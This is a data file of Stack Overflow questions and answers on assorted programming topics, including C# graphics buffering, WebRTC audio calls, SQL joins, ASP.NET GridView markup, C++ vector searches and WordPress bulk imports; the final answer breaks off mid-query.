3156892	0	peer to multi-peer interprocess communication <p>What is the best method for peer to multi-peer interprocess communication in windows. ( One application will send interrupts to many listeners ) One method comes to my mind is to use SendMessage with the HWND_BROADCAST parameter. What else I can do?</p>
1924360	0	 <p>You might set <code>DoubleBuffered</code> to true on your control / form. Or you could try using your own Image to create a double buffered effect.</p> <p>My <code>DoubleBufferedGraphics</code> class:</p> <pre><code>public class DoubleBufferedGraphics : IDisposable { #region Constructor public DoubleBufferedGraphics() : this(0, 0) { } public DoubleBufferedGraphics(int width, int height) { Height = height; Width = width; } #endregion #region Private Fields private Image _MemoryBitmap; #endregion #region Public Properties public Graphics Graphics { get; private set; } public int Height { get; private set; } public bool Initialized { get { return (_MemoryBitmap != null); } } public int Width { get; private set; } #endregion #region Public Methods public void Dispose() { if (_MemoryBitmap != null) { _MemoryBitmap.Dispose(); _MemoryBitmap = null; } if (Graphics != null) { Graphics.Dispose(); Graphics = null; } } public void Initialize(int width, int height) { if (height &gt; 0 &amp;&amp; width &gt; 0) { if ((height != Height) || (width != Width)) { Height = height; Width = width; Reset(); } } } public void Render(Graphics graphics) { if (_MemoryBitmap != null) { graphics.DrawImage(_MemoryBitmap, _MemoryBitmap.GetRectangle(), 0, 0, Width, Height, GraphicsUnit.Pixel); } } public void Reset() { if (_MemoryBitmap != null) { _MemoryBitmap.Dispose(); _MemoryBitmap = null; } if (Graphics != null) { Graphics.Dispose(); Graphics = null; } _MemoryBitmap = new Bitmap(Width, Height); Graphics = Graphics.FromImage(_MemoryBitmap); } /// &lt;summary&gt; /// This method is the preferred method of drawing a background image. /// It is *MUCH* faster than any of the Graphics.DrawImage() methods. /// Warning: The memory image and the &lt;see cref="Graphics"/&gt; object /// will be reset after calling this method. This should be your first /// drawing operation. /// &lt;/summary&gt; /// &lt;param name="image"&gt;The image to draw.&lt;/param&gt; public void SetBackgroundImage(Image image) { if (_MemoryBitmap != null) { _MemoryBitmap.Dispose(); _MemoryBitmap = null; } if (Graphics != null) { Graphics.Dispose(); Graphics = null; } _MemoryBitmap = image.Clone() as Image; if (_MemoryBitmap != null) { Graphics = Graphics.FromImage(_MemoryBitmap); } } #endregion } </code></pre> <p>Using it in an <code>OnPaint</code>:</p> <pre><code>protected override void OnPaint(PaintEventArgs e) { if (!_DoubleBufferedGraphics.Initialized) { _DoubleBufferedGraphics.Initialize(Width, Height); } _DoubleBufferedGraphics.Graphics.DrawLine(...); _DoubleBufferedGraphics.Render(e.Graphics); } </code></pre> <p>ControlStyles I generally set if I'm using it (you may have different needs):</p> <pre><code>SetStyle(ControlStyles.UserPaint, true); SetStyle(ControlStyles.AllPaintingInWmPaint, true); SetStyle(ControlStyles.DoubleBuffer, true); </code></pre> <p><strong>Edit:</strong></p> <p>Ok since the data is static you should paint to an Image (before your OnPaint) and then in the OnPaint use the <code>Graphics.DrawImage()</code> overload to draw the correct region of your source image to the screen. No reason to redraw the lines if the data isn't changing.</p>
36685976	0	How to retrieve function name from function address using link register (like backtrace_symbol) in linux <p>I want to write c program (like backtrace) I am getting the address of functions but I don't know how to convert those address to symbols (function name ). Please help me </p>
8716961	0	 <p>Have you verified that <code>tableViewController</code> is not nil? </p> <p>your <code>@property</code> should definitely be strong as the view controller is taking ownership of the entity. A <code>weak</code> reference will definitely nil out.</p> <p>Likewise I would also put a breakpoint in the debugger and <strong>confirm</strong> that <code>[self booking]</code> does indeed point to a valid object <em>at that point in the code</em>.</p>
16800534	0	Purposefully exiting process for a dyno restart on heroku <p>I've got a phantomjs app (<a href="http://css.benjaminbenben.com" rel="nofollow">http://css.benjaminbenben.com</a>) running on heroku - it works well for some time but then I have to run <code>heroku restart</code> because it requests start timing out.</p> <p>I'm looking for a stop-gap solution (I've gone from around 6 to 4500 daily visitors over the last week), and I was considering exiting the process after it had served a set number of requests to fire a restart.</p> <p>Will this work? And would this be considered bad practice?</p> <p>(in case you're interested, the app source is here - <a href="https://github.com/benfoxall/wtcss" rel="nofollow">https://github.com/benfoxall/wtcss</a>)</p>
17185050	0	 <p>This sounds like a homework question.... from networking 101.</p> <p>In any case, TCP connections are uniquely identified by the following properties: source IP address, source port, destination address, and destination port.</p> <p>Do an internet search for "TCP 4-tuple" or "TCP 5-tuple" for more details.</p>
28746323	0	I have to click twice to activate function using jQuery <p>I am having a lot of trouble with jQuery. I have to click twice on a button to make the page disappear. I have tried importing both versions of jQuery and I tried to use the fadeOut() function on different elements, but nothing has prevailed. It works the second time I click, but never the first. This is a recurring problem, and I need to know how it can be fixed. Here is my code:</p> <p>HTML:</p> <pre><code>&lt;body&gt; &lt;h1&gt;CSS3 Buttons Showcase&lt;/h1&gt; &lt;a href="#" id="btn-1" onclick="fadeBg()"&gt;Click Me!&lt;/a&gt; &lt;/body&gt; </code></pre> <p>JavaScript:</p> <pre><code>function fadeBg(){ $("#btn-1").click(function(){ $("body").fadeOut(1000); }) } </code></pre>
25809108	0	 <p>This uses the codename as a <em>String</em></p> <pre><code>Sub CodeIt() Dim CodeName As String CodeName = "Sheet1" Dim WS As Worksheet, GetWorksheetFromCodeName As Worksheet For Each WS In ThisWorkbook.Worksheets If StrComp(WS.CodeName, CodeName, vbTextCompare) = 0 Then Set GetWorksheetFromCodeName = WS Exit For End If Next WS MsgBox GetWorksheetFromCodeName.Name End Sub </code></pre>
27489169	0	Dynamic StringGrid C++ Builder <p>I created a program in C++Builder 6 and I have a problem now.</p> <p>I have 6 files: <code>Unit1.cpp</code>, <code>Unit1.h</code>, <code>Unit2.cpp</code>, <code>Unit2.h</code>, <code>Unit3.cpp</code>, <code>Unit3.h</code>.</p> <p><code>Unit1.cpp</code> is file for main form.</p> <p>Problem : I want to create in Function <code>void __fastcall TForm3::Button1Click(TObject *Sender)</code> a <code>TStringGrid</code> which will be visible in <code>Unit1.cpp</code> and <code>Unit2.cpp</code>. Next click should create new <code>TStringGrid</code> with new name(previous exist)</p> <p>I tried to fix my problem, I wrote some code, but it is not enough for me.<br> In <code>Unit1.h</code> I added: </p> <pre><code>void __fastcall MyFunction(TStringGrid *Grid1); </code></pre> <p>In <code>Unit1.cpp</code> I added: </p> <pre><code>void __fastcall TForm1::MyFunction(TStringGrid *Grid1) { Grid1 = new TStringGrid(Form2); Grid1-&gt;Parent = Form2; } </code></pre> <p>In <code>Unit3.cpp</code> I added:</p> <pre><code>#include "Unit1.h" </code></pre> <p>and the Button click function is: </p> <pre><code> void __fastcall TForm3::Button1Click(TObject *Sender) { Form1-&gt;MyFunction(Form1-&gt;Grid); //Grid was declarated previous in Unit1.h } </code></pre> <p>Now when I used this method I dynamically create a <code>TStringGrid</code>, but only one. How do I create as many <code>TStringGrid</code>s (with unique names) as the number of times the button is pressed? (Now i must declarate <code>TStringGrid</code> in <code>Unit1.h</code>).</p>
36030762	0	 <p>Are you looking for mere joins? Put your two queries in your <code>FROM</code> clause and join them on <code>customer_id</code>, then join with the <code>customers</code> table and show the results.</p> <pre><code>select c.id as customer_id, c.first_name, c.last_name, c.preferred, period1.label_cost as period1_label_cost, period2.label_cost as period2_label_cost from ( select customer_id, sum(total_cost) as label_cost from orders where date(created_at) between &lt;start_date1&gt; and &lt;end_date1&gt; group by customer_id having sum(total_cost) &gt; &lt;sales_exceeded&gt; ) period1 join ( select customer_id, sum(total_cost) as label_cost from orders where date(created_at) between &lt;start_date2&gt; and &lt;end_date2&gt; group by customer_id having sum(total_cost) &lt; &lt;sales_below&gt; ) period2 on period2.customer_id = period1.customer_id join customers c on c.id = period1.customer_id; </code></pre>
7093870	0	GooglePlaces api to get information about stores iphone application <p>In my iPhone application, i want to show nearest stores to given latitude and longitude. </p> <p>I have used googlePlaces api to get nearby stores to given location coordinates. </p> <p>But i want to get other information about stores as well like opening and closing time of each store etc. </p> <p>How can i get that. </p> <p>Thanks</p>
19681566	0	PostgreSQL timestamp select <p>I'm using Posture and I got error message "invalid input syntax for type timestamp with time zone" when using the following select code:</p> <pre><code>SELECT * FROM public."table1" WHERE 'registrationTimestamp' BETWEEN to_timestamp('22-10-2013 00:00', 'DD-MM-YYYY HH24:MI') AND to_timestamp('22-10-2013 23:59', 'DD-MM-YYYY HH24:MI')** </code></pre> <p>While <code>registrationTimestamp</code> timestamp format is like following:</p> <pre><code>6/26/2012 6:43:10 PM </code></pre>
36440387	0	 <p>Get rid of your loop. <code>std::find()</code> (and <code>std::find_if()</code>) does the necessary looping for you.</p> <p><code>std::find()</code> (and <code>std::find_if()</code>) returns an iterator to the element if found, or the specified <code>last</code> iterator if not found. If the element is found, pass the returned iterator to the vector's <code>erase()</code> method to remove the element.</p> <p>Since you are storing pointers in your vector, you cannot use <code>std::find()</code> to search by a <code>std::string</code> value. You need to use <code>std::find_if()</code> instead.</p> <p>Try this:</p> <pre><code>struct isID { const std::string &amp;m_id; isID(const std::string &amp;id) : m_id(id) {} bool operator()(const member *m) const { return (m-&gt;id == m_id); } }; </code></pre> <p></p> <pre><code>std::string id = ...; std::vector&lt;member*&gt;::iterator iter = std::find_if(memb.begin(), memb.end(), isID(id)); if (iter != memb.end()) { // since you are storing pointers in the vector, you // need to free the object being pointed at, if noone // else owns it... //delete *iter; memb.erase(iter); } </code></pre> <p>Or, if you are using C++11 or later:</p> <pre><code>std::string id = ...; auto iter = std::find_if(memb.begin(), memb.end(), [id](const member* m) { return (m-&gt;id == id); } ); if (iter != memb.end()) { // since you are storing pointers in the vector, you // need to free the object being pointed at, if noone // else owns it... //delete *iter; memb.erase(iter); } </code></pre> <p>In the latter case, if the vector is intended to own the objects, you can store <code>std::unique_ptr</code> objects in the vector to automatically free the <code>member</code> objects for you:</p> <pre><code>std::vector&lt;std::unique_ptr&lt;member&gt;&gt; memb; ... std::unique_ptr&lt;member&gt; m(new member); // or: std::unique_ptr&lt;member&gt; m = std::make_unique_ptr&lt;member&gt;(); memb.push_back(std::move(m)); // or: memb.push_back(std::unique_ptr&lt;member&gt;(new member)); // or: memb.push_back(std::make_unique&lt;member&gt;()); // or: memb.emplace_back(new member); ... if (iter != memb.end()) { // std::unique_ptr will free the object automatically // when the std::unique_ptr itself is destroyed... memb.erase(iter); } </code></pre>
24208746	0	 <p>That's a warning your browser gives. When you take the solution live, buy a certificate and associate with your domain(be exact - wildcard or root certificate) and the warning will go away, and a beatiful lock will come to show the world how safe your site is. :-)</p>
30186283	0	WebRTC: One to one Audio call not working in different machine <p>I am trying to implement a one to one audio call using webRTC (signalling using websockets) . But it works when i try it in one system using multiple tabs of chrome (localhost). When I try to hit my server from another machine it does initial handshakes , but call doesn't happen.</p> <p>But when i try to change the tag to and changed the constraints to video constraints . it works even if the we try to access from other machine (i.e video call works ).</p> <p>I initially thought it was because if firewall but when video call worked I was puzzled . </p> <p>Here is my code:</p> <pre><code>// Constraints to get audio stream only $scope.constraints = { audio: { mandatory: { googEchoCancellation: true }, optional: [] }, video:false }; navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia; // success Callback of getUserMedia(), stream variable is the audio stream. $scope.successCallback = function (stream) { if (window.URL) { myVideo.src = window.URL.createObjectURL(stream); // converting media stream to Blob URL. } else { myVideo.src = stream; } //attachMediaStream(audioTag, stream); localStream = stream; if (initiator) maybeStart(); else doAnswer(); }; // failure Callback of getUserMedia() $scope.failureCallback = function (error) { console.log('navigator.getUserMedia Failed: ', error); }; var initiator, started = false; $("#call").click(function () { socket.emit("message", undefined); initiator = true; navigator.getUserMedia($scope.constraints, $scope.successCallback, $scope.failureCallback); }); var channelReady = false; socket.on('message', function (data) { channelReady = true; if (data) { if (data.type === 'offer') { if (!initiator) { $("#acceptCall").show(); $("#acceptCall").click(function(){ if (!initiator &amp;&amp; !started) { var pc_config = { iceServers: [ { url: "stun:stun.l.google.com:19302" }, { url: "turn:numb.viagenie.ca", credential: "drfunk", username: "toadums@hotmail.com"} ] }; pc = new webkitRTCPeerConnection(pc_config); pc.onicecandidate = onIceCandidate; pc.onaddstream = onRemoteStreamAdded; } pc.setRemoteDescription(new RTCSessionDescription(data)); $scope.acceptCall(); }); } } else if (data.type === 'answer' &amp;&amp; started) { pc.onaddstream = onRemoteStreamAdded; pc.setRemoteDescription(new RTCSessionDescription(data)); } else if (data.type === 'candidate' &amp;&amp; started) { var candidate = new RTCIceCandidate({ sdpMLineIndex: data.label, candidate: data.candidate }); pc.addIceCandidate(candidate); } else if (data.type === 'bye' &amp;&amp; started) { console.log("Bye"); } } }); function onRemoteStreamAdded(event) { othersVideo.src = URL.createObjectURL(event.stream); }; var sdpConstraints = { 'mandatory': { 'OfferToReceiveAudio': true, 'OfferToReceiveVideo': false } }; function doAnswer() { pc.addStream(localStream); pc.createAnswer(gotDescription,null,sdpConstraints); } function gotDescription(desc) { pc.setLocalDescription(desc); socket.send(desc); } function maybeStart() { if (!started &amp;&amp; localStream &amp;&amp; channelReady) createPeerConnection(); pc.addStream(localStream); started = true; if (initiator) doCall(); } $scope.acceptCall = function () { navigator.getUserMedia($scope.constraints, $scope.successCallback, $scope.failureCallback); } function createPeerConnection() { var pc_config = { iceServers: [ { url: "stun:stun.l.google.com:19302" }, { url: "turn:numb.viagenie.ca", credential: "drfunk", username: "toadums@hotmail.com"} ] }; pc = new webkitRTCPeerConnection(pc_config); pc.onicecandidate = onIceCandidate; console.log("Created RTCPeerConnnection with config:\n" + " \"" + JSON.stringify(pc_config) + "\"."); }; function doCall() { $scope.caller = true; pc.createOffer(setLocalAndSendMessage,null,sdpConstraints); }; function setLocalAndSendMessage(sessionDescription) { pc.setLocalDescription(sessionDescription); socket.send(sessionDescription); } function onIceCandidate(event) { if (event.candidate) { socket.emit('message', { type: 'candidate', label: event.candidate.sdpMLineIndex, id: event.candidate.sdpMid, candidate: event.candidate.candidate }); } else { console.log("End of candidates."); } } </code></pre>
25438633	0	 <p>This happens because you are running in 'this' context. As a result what ever you changing in $(this) will get hoisted to top of the function. A simple example:</p> <pre><code>$('#txt').click(function () { console.log(this); var a = 10; var b = 20; var c = a+b; console.log(c); $(this).text('changed!'); $(this).attr('test','test'); }); </code></pre> <p>will hoist at the top</p> <pre><code>$(this).text('changed!'); $(this).attr('test','test'); </code></pre> <p>and the result will be</p> <pre><code>&lt;div id="txt" test="test"&gt;changed!&lt;/div&gt; 30 </code></pre> <p><a href="http://jsfiddle.net/oeaw9mLy/" rel="nofollow">JSFiddle</a></p>
12179319	0	blending colors ios <p>I want to rectangular crop the eye from one face and paste it on another face, so that in the resulting image skin color of portion of eye blend nicely with the face color of the persons on which we are pasting eyes. I am able to crop and paste, but having problem with blending. Currently, the boundaries of the rectangular cropped eye after pasting are very much visible. I want to reduce this effect, so that the eyes nicely blend with face and resulting image won't look fake.</p>
6703693	0	 <p>In the loop, you are going from <code>0</code> to the length of <code>alarmDetailsSeparated</code>. This is fine, but you are then indexing <code>alarmDetailsSeparated</code> using <code>i+1</code> and <code>i+2</code>.</p> <p>This means that when the loop is at <code>alarmDetailsSeparated.Length-2</code> the program will index <code>alarmDetailsSeparated.Length-2+2 = alarmDetailsSeparated.Length</code> and throw an out of bounds error.</p>
14745605	0	 <p>I tried reproducing this in a simple <a href="http://jsbin.com/abaveh/1/edit" rel="nofollow">jsbin demo</a> to no avail. Drag and drop seems to work without losing the content. The code I've used was this:</p> <pre><code> &lt;textarea class="editor" style="width: 400px"&gt;Editable Content&lt;/textarea&gt; &lt;textarea class="editor" style="width: 400px"&gt;Editable Content&lt;/textarea&gt; &lt;textarea class="editor" style="width: 400px"&gt;Editable Content&lt;/textarea&gt; &lt;textarea class="editor" style="width: 400px"&gt;Editable Content&lt;/textarea&gt; &lt;script&gt; $(".editor").kendoEditor().closest(".k-widget").draggable(); &lt;/script&gt; </code></pre>
19169086	0	fprintf is not declared in this scope <p>I'm trying to run this code in code blocks 12.11 and keep getting this error:fprintf is not declared in this scope</p> <pre><code># include &lt;GL/glew.h&gt; # include &lt;GL/freeglut.h&gt; using namespace std; //any time the window is resized, this function is called. It set up to the // "glutReshapeFunc" in Maine. void changeViewport(int w, int h) { glViewport(0, 0, w, h); } //Here is the function that gets called each time the window needs to be redrawn. //It is the "paint" method for our program, and it is set up from the glutDisplayFunc in main. void render() { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glutSwapBuffers(); } int main (int argc, char** argv) { //Initialize GLUT glutInit(&amp;argc, argv); //Set up some memory buffers for our display glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH); //set the window size glutInitWindowSize(900, 600); //Create the window with the title "Hello, GL" glutCreateWindow("Hello, GL"); //Bind the two functions (above) to respond when necessary glutReshapeFunc(changeViewport); glutDisplayFunc(render); //Very important! This initializes the entry points in the OpenGL driver so we can //call functions in the API. GLenum err = glewInit(); if (GLEW_OK != err) { fprintf(stderr, "GLEW error"); return 1; } //Start up a loop that runs in the background (you never see it). glutMainLoop(); return 0; } </code></pre> <p>I am unsure as to what to do. If anybody has any ideas please let me know.</p>
315300	0	 <p><strong>TFOOT Customisation:</strong></p> <p>The footer will always default to creating the same number of cells as the rest of the gridview. You can override this in code by adding:</p> <pre><code>protected void OurGrid_RowCreated(object sender, GridViewRowEventArgs e) { if(e.Row.RowType == DataControlRowType.Footer) { int colSpan = e.Row.Cells.Count; for(int i = (e.Row.Cells.Count - 1); i &gt;= 1; i -= 1) { e.Row.Cells.RemoveAt(i); e.Row.Cells[0].ColumnSpan = colSpan; } HtmlAnchor link1 = new HtmlAnchor(); link1.HRef = "#"; link1.InnerText = "Newest Members"; HtmlAnchor link2 = new HtmlAnchor(); link2.HRef = "#"; link2.InnerText = "Top Posters"; // Add a non-breaking space...remove the space between &amp; and nbsp; // I just can't seem to get it to render in LiteralControl space = new LiteralControl("&amp; nbsp;"); Panel p = new Panel(); p.Controls.Add(link1); p.Controls.Add(space); p.Controls.Add(link2); e.Row.Cells[0].Controls.Add(p); } } </code></pre> <p>...and add the onrowcreated attribute to the server control:</p> <pre><code>&lt;asp:GridView ID="ourGrid" onrowcreated="OurGrid_RowCreated" ... </code></pre> <p><strong>THEAD styles:</strong></p> <p>You can specify the header css class for each column in the 'headerstyle-cssclass' for each bound field. For example:</p> <pre><code>&lt;asp:BoundField headerstyle-cssclass="col1_style1" DataField="Name" HeaderText="Full Name" /&gt; &lt;asp:BoundField headerstyle-cssclass="col1_style2" DataField="Gender" HeaderText="Gender" /&gt; </code></pre> <p><strong>Table Summary:</strong></p> <p>Just add the summary attribute to the griview:</p> <pre><code>&lt;asp:GridView ID="ourGrid" summary="blah" ... </code></pre> <p>Putting it all together:</p> <pre><code>&lt;%@ Page Language="C#" %&gt; &lt;%@ Import Namespace="System.Data"%&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;script runat="server"&gt; protected void Page_Load(object sender, EventArgs e) { DataSet ds = CreateDataSet(); this.gv.DataSource = ds.Tables[0]; this.gv.DataBind(); this.gv.HeaderRow.TableSection = TableRowSection.TableHeader; this.gv.FooterRow.TableSection = TableRowSection.TableFooter; } protected void OurGrid_RowCreated(object sender, GridViewRowEventArgs e) { if (e.Row.RowType == DataControlRowType.Footer) { int colSpan = e.Row.Cells.Count; for (int i = (e.Row.Cells.Count - 1); i &gt;= 1; i -= 1) { e.Row.Cells.RemoveAt(i); e.Row.Cells[0].ColumnSpan = colSpan; } HtmlAnchor link1 = new HtmlAnchor(); link1.HRef = "#"; link1.InnerText = "Newest Members"; HtmlAnchor link2 = new HtmlAnchor(); link2.HRef = "#"; link2.InnerText = "Top Posters"; LiteralControl l = new LiteralControl("&amp;nbsp;"); Panel p = new Panel(); p.Controls.Add(link1); p.Controls.Add(l); p.Controls.Add(link2); e.Row.Cells[0].Controls.Add(p); } } private DataSet CreateDataSet() { DataTable table = new DataTable("tblLinks"); DataColumn col; DataRow row; col = new DataColumn(); col.DataType = Type.GetType("System.Int32"); col.ColumnName = "ID"; col.ReadOnly = true; col.Unique = true; table.Columns.Add(col); col = new DataColumn(); col.DataType = Type.GetType("System.DateTime"); col.ColumnName = "Date"; col.ReadOnly = true; col.Unique = false; table.Columns.Add(col); col = new DataColumn(); col.DataType = Type.GetType("System.String"); col.ColumnName = "Url"; col.ReadOnly = true; col.Unique = false; table.Columns.Add(col); DataColumn[] primaryKeysColumns = new DataColumn[1]; primaryKeysColumns[0] = table.Columns["ID"]; table.PrimaryKey = primaryKeysColumns; DataSet ds = new DataSet(); ds.Tables.Add(table); row = table.NewRow(); row["ID"] = 1; row["Date"] = new DateTime(2008, 11, 1); row["Url"] = "www.bbc.co.uk/newsitem1.html"; table.Rows.Add(row); row = table.NewRow(); row["ID"] = 2; row["Date"] = new DateTime(2008, 11, 1); row["Url"] = "www.bbc.co.uk/newsitem2.html"; table.Rows.Add(row); return ds; } &lt;/script&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head runat="server"&gt; &lt;title&gt;&lt;/title&gt; &lt;style type="text/css"&gt; .red { color: red; } .olive { color:Olive; } .teal { color:Teal; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div&gt; &lt;asp:gridview id="gv" autogeneratecolumns="false" showheader="true" showfooter="true" summary="Here is the news!" caption="The Caption" captionalign="Top" alternatingrowstyle-cssclass="alt_row" useaccessibleheader="true" onrowcreated="OurGrid_RowCreated" runat="server"&gt; &lt;columns&gt; &lt;asp:boundfield headertext="ID" headerstyle-cssclass="olive" datafield="id" /&gt; &lt;asp:hyperlinkfield headertext="Link" headerstyle-cssclass="red" datanavigateurlfields="Url" datanavigateurlformatstring="http://{0}" datatextfield="Url" datatextformatstring="http://{0}" /&gt; &lt;asp:boundfield headertext="Date" headerstyle-cssclass="teal" datafield="Date"/&gt; &lt;/columns&gt; &lt;/asp:gridview&gt; &lt;/div&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>The above produces the following HTML:</p> <pre><code>&lt;table cellspacing="0" rules="all" summary="Here is the news!" border="1" id="gv" style="border-collapse:collapse;"&gt; &lt;caption align="Top"&gt; The Caption &lt;/caption&gt; &lt;thead&gt; &lt;tr&gt; &lt;th class="olive" scope="col"&gt;ID&lt;/th&gt; &lt;th class="red" scope="col"&gt;Link&lt;/th&gt; &lt;th class="teal" scope="col"&gt;Date&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt; &lt;a href="http://www.bbc.co.uk/newsitem1.html"&gt; http://www.bbc.co.uk/newsitem1.html &lt;/a&gt; &lt;/td&gt; &lt;td&gt;01/11/2008 00:00:00&lt;/td&gt; &lt;/tr&gt; &lt;tr class="alt_row"&gt; &lt;td&gt;2&lt;/td&gt; &lt;td&gt; &lt;a href="http://www.bbc.co.uk/newsitem2.html"&gt; http://www.bbc.co.uk/newsitem2.html &lt;/a&gt; &lt;/td&gt; &lt;td&gt;01/11/2008 00:00:00&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;tfoot&gt; &lt;tr&gt; &lt;td colspan="3"&gt; &lt;div&gt; &lt;a href="#"&gt;Newest Members&lt;/a&gt;&amp;nbsp;&lt;a href="#"&gt;Top Posters&lt;/a&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tfoot&gt; &lt;/table&gt; </code></pre>
32514840	0	 <p>The actual problem was I was not binding them both with another object. (REPL) Additional Info: Because the companion object and the class must be defined in the same source file you cannot create them in the interpreter. source: daily-scala work around: bind both with some object in REPL or as user #shadowlands said You can create them in the REPL, but you need to do so as part of a single :paste command (type :help for a list of REPL commands)</p>
32237671	0	 <p>I thought so (the <strong>32 bit</strong> part). You're running into a problem generated by <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa384253(v=vs.85).aspx" rel="nofollow">Registry redirection</a>.</p> <p>In other words (on 64bit <em>Windows</em>), for some registry keys (this one included) there are 2 separate locations: one for 64bit(default and old one) and other for 32bit(a new location). By default a 64bit app automatically uses the 64bit registry location; same thing for 32 bit (of course that can be programmatically modified - at least for 64bit apps). </p> <p>So, in order for 32bit apps that have some registry keys hardcoded to still work on 64bit <em>Windows</em> (remember the key hardcoded in the 32bit app is now 64 bit, and it's <em>invisible</em> to the app, while the <em>real</em> 32bit is someplace else), <em>Microsoft</em> came up with this approach. Same approach applies to paths on the filesystem (<em><strong>System32</strong></em> vs <em><strong>SysWOW64</strong></em> under <em>C:\Windows</em>).</p> <p>Now why does it work from cmdline? Being a 64bit OS, the default <em>cmd</em> is 64 bit (which launches the 64bit <em>reg.exe</em>), so it finds the key. Yes you have 2 <em>cmd</em>s (one under each of the above folders), actually (almost) all the <em>Windows</em> executables and dlls are <em>duplicated</em>.</p> <p>To test, start <em>cmd.exe</em> from <em>C:\Windows\SysWOW64</em>, and run the <em>reg</em> command and it will fail.</p> <p>Finally, to get past this, associate <em>.py</em> files (I noticed that you ran it directly) with a 64bit <em>Python</em> version (you might have to download and install it).</p>
40506235	0	 <p>You can do it like : </p> <pre><code>ResultSet rs = stmt.executeQuery(sql); String result = null; if (rs.next()) { // replace 'if' with 'while' to iterate if multiple records result = rs.getString("result"); } </code></pre> <p>if you have more records, you can replace <code>if</code> with <code>while</code> and can iterate over <code>ResultSet</code>.</p> <p>For the complete working example you can go through the <a href="http://www.mkyong.com/jdbc/jdbc-preparestatement-example-select-list-of-the-records/" rel="nofollow noreferrer">example here.</a></p>
12446859	0	 <p>Since you also have the <code>sql-server</code> tag on your question, unfortunately sql-server doesn't have <code>GROUP_CONCAT</code>, an alternative like <a href="http://stackoverflow.com/questions/451415/simulating-group-concat-mysql-function-in-ms-sql-server-2005">FOR XML / STUFF</a> is needed:</p> <pre><code>SELECT f.id, f.movie_name, STUFF((SELECT ',' + p.person_name FROM persons p INNER JOIN films_cast fc on fc.person_id = p.id WHERE fc.film_id = f.id AND fc.type = 'director' FOR XML PATH ('')) , 1, 1, '') AS director, STUFF((SELECT ',' + p.person_name FROM persons p INNER JOIN films_cast fc on fc.person_id = p.id WHERE fc.film_id = f.id AND fc.type = 'writer' FOR XML PATH ('')) , 1, 1, '') AS writer, STUFF((SELECT ',' + p.person_name FROM persons p INNER JOIN films_cast fc on fc.person_id = p.id WHERE fc.film_id = f.id AND fc.type = 'actor' FOR XML PATH ('')) , 1, 1, '') AS cast FROM films f; </code></pre> <p><a href="http://sqlfiddle.com/#!3/e1cd1/1" rel="nofollow">SQLFiddle here</a></p>
20729835	0	 <p>You can use the knockout.js context debugger chrome extension to help you debug your issue</p> <p><a href="https://chrome.google.com/webstore/detail/knockoutjs-context-debugg/oddcpmchholgcjgjdnfjmildmlielhof" rel="nofollow">https://chrome.google.com/webstore/detail/knockoutjs-context-debugg/oddcpmchholgcjgjdnfjmildmlielhof</a></p>
4788126	0	 <pre><code>function handle_form($fields, $POST) { $data = array(); foreach ($fields as $field) { if ($field-&gt;type == "file") do_upload($field-&gt;post); $data[$field-&gt;name] = $POST[$field-&gt;post]; } $this-&gt;db-&gt;insert('table', $data); } </code></pre>
14553627	0	 <p><strong>edit</strong>: even GCC doesn't let you do this! Corrected.</p> <p>In general, no. You could hack together a macro using <code>__FILE__</code>, <code>__LINE__</code>, and/or <code>__COUNTER__</code> (the latter being another compiler extension, but supported on GCC and MSVC among others) to name the fields for you, if you <em>really</em> wanted to.</p>
4829249	0	 <p>i think i read somewhere that it is more difficult to add table rows to an existing table. it had something to do with some browsers adding a tbody tag for you and other browsers not liking a tr tag that doesn't have a table tag wrapped around it (ie).</p> <p>if possible, you could convert your table to divs (or possibly lis) then i think you could get around this issue. i think jQueryUI's draggable has this limitation, not sure.</p> <p>if moving away from tables is not possible, you can probably hide the row, then instantaneously move the row to position, and create a div that looks just like it and move that around, then after the animation you kill the animation div and show the new row.</p> <p>hth</p>
19119752	0	 <p>So after a long profiling session, with XDEBUG, phpmyadmin and friends, I finally narrowed down what the bottleneck was: the mysql queries</p> <p>I enabled </p> <p><code>define('SAVEQUERIES', true);</code></p> <p>to examine the queries in more detail and I output the queries array to my debug.log file</p> <pre><code>global $wpdb; error_log( print_r( $wpdb-&gt;queries, true ) ); </code></pre> <p>upon examining each INSERT call to the database</p> <ol> <li><p>wp_insert_post()</p> <p>[0] => INSERT INTO <code>wp_posts</code> (<code>post_author</code>,<code>post_date</code>,<code>post_date_gmt</code>,<code>post_content</code>,<code>post_content_filtered</code>,<code>post_title</code>,<code>post_excerpt</code>,<code>post_status</code>,<code>post_type</code>,<code>comment_status</code>,<code>ping_status</code>,<code>post_password</code>,<code>post_name</code>,<code>to_ping</code>,<code>pinged</code>,<code>post_modified</code>,<code>post_modified_gmt</code>,<code>post_parent</code>,<code>menu_order</code>,<code>guid</code>) VALUES (...)</p> <p>[1] => 0.10682702064514</p></li> <li><p>update_post_meta()</p> <p>[0] => INSERT INTO <code>wp_postmeta</code> (<code>post_id</code>,<code>meta_key</code>,<code>meta_value</code>) VALUES (...)</p> <p>[1] => 0.10227680206299</p></li> </ol> <p>I found that each one of those calls to the database costs, on average, ~0.1 s on my localhost server</p> <p>But, since I am updating 6 custom fields per entry, it works out to </p> <p>6 cf insert calls/entry * ~0.1s/cf insert call *20 000 total entries * 1 min/60s = 200 min </p> <p>~2.5 hrs to process the custom fields alone for 20k posts</p> <p>Now, since all the custom fields are inserted into the same table, wp_post_meta, I looked to combine all the update_post_meta calls into one call, and hence, drastically improve the performance in terms of the execution time of this import script.</p> <p>I looked through the update_post_meta function in the wp core and saw there was no native option to pass an array instead of a single cf key and value, so I went through the relevant code to pinpoint the SQL INSERT line and looked how to do something along the lines of:</p> <pre><code>`INSERT INTO `wp_postmeta` 